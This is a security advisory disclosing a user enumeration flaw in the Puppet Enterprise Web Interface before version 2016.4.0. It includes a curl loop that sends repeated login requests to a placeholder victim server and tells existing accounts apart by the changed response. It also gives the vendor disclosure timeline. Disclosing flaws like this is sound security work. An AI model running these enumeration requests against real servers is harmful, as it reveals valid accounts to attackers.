[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/PUPPET-USER-ENUMERATION.txt

[+] ISR: ApparitionSec



Vendor:
==============
www.puppet.com



Product:
===============================
Puppet Enterprise Web Interface

Tested in version < 2016.4.0

Puppet Enterprise is the leading platform for automatically delivering,
operating and securing your infrastructure.



Vulnerability Type:
===================
User Enumeration



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

By sending remote HTTP request to Puppet Enterprise Web Interface it is
possible to enumerate valid user account names by sending more than 10
requests.
If user does not exist we will continue to get  'Authentication failed.'
HTTP response from the victim server. However, if the user does exist we
will no longer receive such a message confirming the user exists.



Exploit code(s):
================

Send login request 11 times, after 10 we will know if user exists or not.

FOR /l %i in (1,1,11) DO curl -k
https://victim-puppet-server/auth/login?redirect=Enum-Users  -d
username=IDONTEXIST -d password=1

HTTP 200 OK
'Authentication failed.'

FOR /l %i in (1,1,11) DO curl -k
https://victim-puppet-server/auth/login?redirect=Enum-Users -d
username=BOZO -d password=1

HTTP 200 OK



Disclosure Timeline:
=======================================
Vendor Notification:  August 23, 2016
Vendor Acknowledgement: August 23, 2016
Vendor Releases Version: 2016.4.0
October 17, 2016  : Public Disclosure




Severity Level:
================
Low



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx